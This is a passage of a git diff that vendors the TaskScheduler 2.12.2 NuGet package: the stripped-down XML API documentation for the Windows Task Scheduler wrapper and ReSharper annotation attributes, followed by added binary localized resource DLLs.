false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a81372a Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ed0b44e Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8bc9899 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..625cd89 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ae1b7bf Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..63f4c5a Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1332292 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..586b008 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..debbfce Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..216cf4b Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll 